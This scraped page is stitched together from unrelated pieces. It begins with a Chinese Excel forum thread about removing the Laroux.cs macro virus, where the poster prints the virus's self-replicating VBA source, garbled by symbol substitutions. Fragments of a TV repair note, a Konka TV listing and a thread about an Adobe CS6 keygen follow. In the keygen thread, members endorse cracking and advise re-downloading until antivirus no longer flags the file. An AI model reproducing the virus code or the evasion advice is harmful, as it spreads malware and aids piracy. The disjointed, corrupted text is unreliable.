查看: 4107|回复: 7
EXCEL中了laroux.cs病毒
阅读权限50
在线时间 小时
症状:(1)双击打开excel.exe后没有工作表,必须新建工作表;(2)使用GET.WORKBOOK(1)宏表函数始终有一个名为results的隐藏工作表;(3)在别的电脑打开我的excel文档卡巴提示有virus.msexcel.laroux.cs病毒(4)工作表的激活事件被指定为CK.FILES
请问应该怎么清除此病毒?
[ 本帖最后由 onthetrip 于
14:34 编辑 ]
阅读权限30
在线时间 小时
不一定是中毒了，
你可以将excel档案上传上来看看！！
阅读权限95
在线时间 小时
Macro.Excel.Laroux.cs　　病毒别名：
　　处理时间：
　　威胁级别：★
　　中文名称：
　　病毒类型：宏病毒
　　影响系统：
　　病毒行为:
　　1. 将工作表的激活事件指定为“ck_files”。
　　2. 在 Excel 的启动目录下生成“Results.xls”文件并隐藏地打开以便调用其“ck_files”函数。
百度到的,但根治并没有提及,卡巴报告后有无杀毒呢,还是直接扔隔离区了
阅读权限50
在线时间 小时
原帖由 bibisin 于
21:44 发表
Macro.Excel.Laroux.cs　　病毒别名：
　　处理时间：
　　威胁级别：★
　　中文名称：
　　病毒类型：宏病毒
　　影响系统：
　　病毒行为:
　　1. 将工作表的激活事件指定为“ck_files”。
　　2. 在 Exc ...
我的电脑上装的是金山（我的excel文档在同事的电脑上被卡巴检测到）,检测不到病毒。怎么扔到隔离区呢？网络上也没有搜索到此病毒的解决方法
我的excel文档
[ 本帖最后由 onthetrip 于
08:16 编辑 ]
08:16 上传
点击文件名下载附件
5.25 KB, 下载次数: 3
阅读权限30
在线时间 小时
我无法下载你的附件，被杀毒软件隔离了！！
只能给点建议，你试试看是否能行
你应该已经中了此宏病毒
1.先关闭所有excel文档
2.在excel启动目录下将Results.xls删除（可能无法删除）启动目录一般为
C:\Documents and Settings\你的用户名\Application Data\Microsoft\Excel\XLSTART
3.打开工作薄的时候按住shift（防止outo事件发生）--当然如果写在activitie事件里面我们也没辙
4.打开后alt+f11打开VBE编辑器，删除你能看到的所有代码
然后重启excel
阅读权限50
在线时间 小时
回复 5楼 qbliu 的帖子
1、我能找到application data\microsoft\office\data,但找不到你说的excel\xlstart的目录
2、用删除的方法无效，即使按住shift
模块results的代码如下：
Sub auto_open()
& & Application.OnSheetActivate = &ck_files&
Sub ck_files()
& & c$ = Application.StartupPath
& & m$ = Dir(c$ & &\& & &RESULTS.XLS&)
& & If m$ = &RESULTS.XLS& Then p = 1 Else p = 0
& & If ActiveWorkbook.Modules.Count & 0 Then w = 1 Else w = 0
& & whichfile = p + w * 10
Select Case whichfile
& & Case 10
& & Application.ScreenUpdating = False
& & n4$ = ActiveWorkbook.Name
& & Sheets(&results&).Visible = True
& & Sheets(&results&).Select
& & Sheets(&results&).Copy
& & With ActiveWorkbook
& && &&&.Title = &&
& && &&&.Subject = &&
& && &&&.Author = &&
& && &&&.Keywords = &&
& && &&&.Comments = &&
& & End With
& & newname$ = ActiveWorkbook.Name
& & c4$ = CurDir()
& & ChDir Application.StartupPath
& & ActiveWindow.Visible = False
& & Workbooks(newname$).SaveAs FileName:=Application.StartupPath & &/& & &RESULTS.XLS&, FileFormat:=xlNormal _
& && &&&, Password:=&&, WriteResPassword:=&&, ReadOnlyRecommended:= _
& && &&&False, CreateBackup:=False
& & ChDir c4$
& & Workbooks(n4$).Sheets(&results&).Visible = False
& & Application.OnSheetActivate = &&
& & Application.ScreenUpdating = True
& & Application.OnSheetActivate = &RESULTS.XLS!ck_files&
& & Case 1
& & Application.ScreenUpdating = False
& & n4$ = ActiveWorkbook.Name
& & p4$ = ActiveWorkbook.Path
& & s$ = Workbooks(n4$).Sheets(1).Name
& & If s$ && &results& Then
& && &&&Workbooks(&RESULTS.XLS&).Sheets(&results&).Copy before:=Workbooks(n4$).Sheets(1)
& && &&&Workbooks(n4$).Sheets(&results&).Visible = False
& & End If
& & Application.OnSheetActivate = &&
& & Application.ScreenUpdating = True
& & Application.OnSheetActivate = &RESULTS.XLS!ck_files&
& & Case Else
End Select
请各位帮助解决一下
[ 本帖最后由 onthetrip 于
11:31 编辑 ]
阅读权限50
在线时间 小时
各位高手,帮忙看一下啊
阅读权限50
在线时间 小时
& & & & & & & &
找了很久,终于在找到了,还是在EH论坛里
最新热点 /1
ExcelHome每周都有线上直播公开课，
国内一流讲师真身分享，高手贴身答疑，
赶不上直播还能看录像，
关键居然是免费的！
厚木哥们都已经这么努力了，
你还好意思说学不好Office。
玩命加载中，请稍候
玩命加载中，请稍候
Powered by
本论坛言论纯属发表者个人意见，任何违反国家相关法律的言论，本站将协助国家相关部门追究发言者责任！ & & 本站特聘法律顾问：徐怀玉律师 李志群律师　　此机开机出现有声无图。由于有声屏不亮遥控有作用。说明CPU基本正常，观察背光灯亮。故障应该在，首先测量逻辑板供电5V只有2V左右，止明显偏低。检查逻辑板供电，N809输入12V正常，N809--7、8输出脚电压为2V左右。据用户反应维修网点已更换过主板。观察N809也有更换过的痕迹。难道更换的新板和原主板故障一样。拔掉主板与逻辑板的连线。输出电压仍偏低，故障应在主板上。检查N809外围，N8094电压不正常，止外围R815,R814无异常，板的正面没有找到R813。跟线路，在板的背面找到R813，发现该一端未焊，于是补焊该脚。开机测量N809输出5V正常。
&&&&&往下看有更多相关资料
试试再找找您想看的资料
资料搜索：
查看相关资料 & & &
　　　同意评论声明
　　　发表
尊重网上道德，遵守中华人民共和国的各项有关法律法规
承担一切因您的行为而直接或间接导致的民事或刑事法律责任
本站管理人员有权保留或删除其管辖留言中的任意内容
本站有权在网站内转载或引用您的评论
参与本评论即表明您已经阅读并接受上述条款
copyright & &广电电器(中国梧州) -all right reserved& 若您有什么意见或建议请mail: & &
地址： 电话：(86)774-2826670& & &&）求没有病毒的CS1.6单机游戏下载？
求没有病毒的CS1.6单机游戏下载？
09-07-04 &更多品牌： 热门品牌：
更多品牌： 热门品牌：
更多品牌： 热门品牌：
更多品牌： 热门品牌：
更多品牌： 热门品牌：
更多品牌： 热门品牌：
更多品牌： 热门品牌：
更多品牌： 热门品牌：
更多品牌： 热门品牌：
更多品牌： 热门品牌：
更多品牌：
> 康佳 LC32CS11液晶电视康佳 LC32CS11产品特色：||综述
参考报价：停产主要参数：屏幕尺寸： 分辨率： 最佳观看距离：1.8～2.2米 屏幕比例：16:9 菜单显示：中文、英文
网友评分：6.0达人评分：0 导购新闻行业行业行业行业行业行业行业新闻 ￥5599.0￥2799.0￥3999.0￥1188.0￥4999.0
6.0分外观：6.0性能：6.0价格：6.0质量：6.0特色：6.0￥3799￥4299￥4799￥6199￥9399￥8199￥13399￥3199￥6499￥99999￥6499.0￥1899.0￥1999.0￥3699.0￥2999.0
停产0票￥2199元21票停产￥2299停产￥2699停产￥1799与自选液晶电视进行对比：请选择品牌请选择型号下一步您可以：
液晶电视品牌报价大全 京东：0% 苏宁：0%国美：0%卓越：0%
￥29.00￥89.00￥8540.00￥11240.00
1234567891012345678
12345678910123456
12345678910
厂商简介： 　　康佳集团成立于1980年5月，座落在风光秀丽的深圳湾畔。经过二十多年的快速发展，康佳已成长为总资产100亿元、净资产30亿元、年销售收入130多亿元的大型电子信息产业集团，和境内外上市的公众股份制公司。公司现有总股本6.02亿股，华侨城集团为第一大股东。 　　公司主导业务涉及多媒体消费电子、移动通信、信息网络、汽...
对比栏1可继续添加2可继续添加3可继续添加4可继续添加后使用快捷导航没有帐号？
重定义Modern UI,打造完美Windows全新体验
查看: 3711|回复: 15
积分478最后登录精华0阅读权限30主题UID255134帖子PB币3429 威望0 贡献0 技术64 活跃1472
PCBETA Beta1, 积分 478, 距离下一级还需 22 积分
UID255134帖子PB币3429 贡献0 技术64 活跃1472
Adobe Master CS6 keygen 到底有没有病毒？
文件名：xf-mccs6.exe
CRC32:&&05EA5035
MD5:& & 1AF76EFD8E46DC9CFE3729
SHA-1:&&73D330BE08CB9986DEFEA22BF279C
网上说有病毒，Windows8 内置反病毒工具提示有病毒，不知各位有何说法？
积分963最后登录精华0阅读权限40主题UID2736277帖子PB币2330 威望0 贡献0 技术3 活跃581
PCBETA Beta2, 积分 963, 距离下一级还需 537 积分
UID2736277帖子PB币2330 贡献0 技术3 活跃581
肯定有“毒”呀，不然你能通过合法手段破解激活？
积分1175最后登录精华0阅读权限40主题UID604591帖子PB币3414 威望5 贡献0 技术4 活跃976
PCBETA Beta2, 积分 1175, 距离下一级还需 325 积分
UID604591帖子PB币3414 贡献0 技术4 活跃976
能用上 Adobe Master CS6 ，就算中毒也值得
积分1028最后登录精华0阅读权限40主题UID117023帖子PB币2101 威望80 贡献0 技术0 活跃234
PCBETA Beta2, 积分 1028, 距离下一级还需 472 积分
UID117023帖子PB币2101 贡献0 技术0 活跃234
没有毒的，一个注册机罢了。
积分478最后登录精华0阅读权限30主题UID255134帖子PB币3429 威望0 贡献0 技术64 活跃1472
PCBETA Beta1, 积分 478, 距离下一级还需 22 积分
UID255134帖子PB币3429 贡献0 技术64 活跃1472
哦，吓得我汗毛直立，只在虚拟机里运行，将生成码粘贴出来，激活了 Pr，还是小心为好啊。
谢谢各位。
积分174最后登录精华0阅读权限20主题UID1204073帖子PB币914 威望0 贡献0 技术0 活跃180
PCBETA Milestone, 积分 174, 距离下一级还需 26 积分
UID1204073帖子PB币914 贡献0 技术0 活跃180
这个是你心甘情愿中的毒！
积分15最后登录精华0阅读权限0主题UID1157384帖子PB币535 威望0 贡献0 技术0 活跃180
头像被屏蔽
UID1157384帖子PB币535 贡献0 技术0 活跃180
提示: 作者被禁止或删除 内容自动屏蔽
积分840最后登录精华0阅读权限40主题UID2809380帖子PB币411 威望74 贡献0 技术3 活跃871
PCBETA Beta2, 积分 840, 距离下一级还需 660 积分
UID2809380帖子PB币411 贡献0 技术3 活跃871
没有，就是一个特别的计算器而已
积分423最后登录精华0阅读权限30主题UID652196帖子PB币843 威望0 贡献0 技术0 活跃87
PCBETA Beta1, 积分 423, 距离下一级还需 77 积分
UID652196帖子PB币843 贡献0 技术0 活跃87
侠客以身试法，终被歼
积分35最后登录精华0阅读权限10主题UID2711689帖子PB币4059 威望0 贡献0 技术9 活跃129
PCBETA Alpha, 积分 35, 距离下一级还需 15 积分
UID2711689帖子PB币4059 贡献0 技术9 活跃129
在沙盘里运行吧，再把激活号粘贴到正常系统中。最后把沙盘数据清除。不影响你正常系统。
积分384最后登录精华0阅读权限30主题UID109285帖子PB币2766 威望0 贡献0 技术0 活跃640
PCBETA Beta1, 积分 384, 距离下一级还需 116 积分
UID109285帖子PB币2766 贡献0 技术0 活跃640
注册机破解补丁基本都会被安全软件认为是病毒，这很正常，当然也有真的病毒的情况。其实，你可以把里面那些序列号复制一部分出来，以后不用运行注册机了。
ps：你这帖子不应该发在这个区吧？
积分562最后登录精华0阅读权限40主题UID89895帖子PB币0 威望0 贡献0 技术0 活跃3
头像被屏蔽
PCBETA Beta2, 积分 562, 距离下一级还需 938 积分
UID89895帖子PB币0 贡献0 技术0 活跃3
提示: 作者被禁止或删除 内容自动屏蔽
积分1556最后登录精华0阅读权限50主题UID427291帖子PB币5437 威望0 贡献0 技术3 活跃1016
PCBETA RC1, 积分 1556, 距离下一级还需 1444 积分
UID427291帖子PB币5437 贡献0 技术3 活跃1016
没有啊！没发现有。
积分127最后登录精华0阅读权限20主题UID2355481帖子PB币4387 威望0 贡献0 技术10 活跃388
PCBETA Milestone, 积分 127, 距离下一级还需 73 积分
UID2355481帖子PB币4387 贡献0 技术10 活跃388
朋友，那些大名鼎鼎的0day小组写的注册机是不会有病毒的，因为没必要。。。要是不知名的出的，就很那说了，信x-force，得免费
积分70最后登录精华0阅读权限20主题UID1663572帖子PB币2332 威望0 贡献0 技术0 活跃103
PCBETA Milestone, 积分 70, 距离下一级还需 130 积分
UID1663572帖子PB币2332 贡献0 技术0 活跃103
没有病毒，一般杀毒厂商因为一些商业原因，把注册机报为”病毒“，也是商业原因
积分1242最后登录精华0阅读权限40主题UID994902帖子PB币7080 威望0 贡献0 技术50 活跃1167
PCBETA Beta2, 积分 1242, 距离下一级还需 258 积分
UID994902帖子PB币7080 贡献0 技术50 活跃1167
本帖最后由 hkc5448 于
11:36 编辑
同款注册机，有的网上下载是有毒的，这时你可以换一个网站下载，有的网站下载是没有毒的，可以通过杀毒软件检测的，这样网站很多，搜索一下就找到了。本人就碰到过很多次，一下载完就被杀毒软件给删除了，然后到另外网站下载，直到下载到杀毒软件不删为止。
远景美化达人
Win10先驱者
7周年庆典勋章
8周年庆典勋章
这里可以进行实名操作：
Copyright (C)
pcbeta.com, All rights reserved
Powered by Discuz!&&
请勿发布违反中华人民共和国法律法规的言论，会员观点不代表远景论坛官方立场。}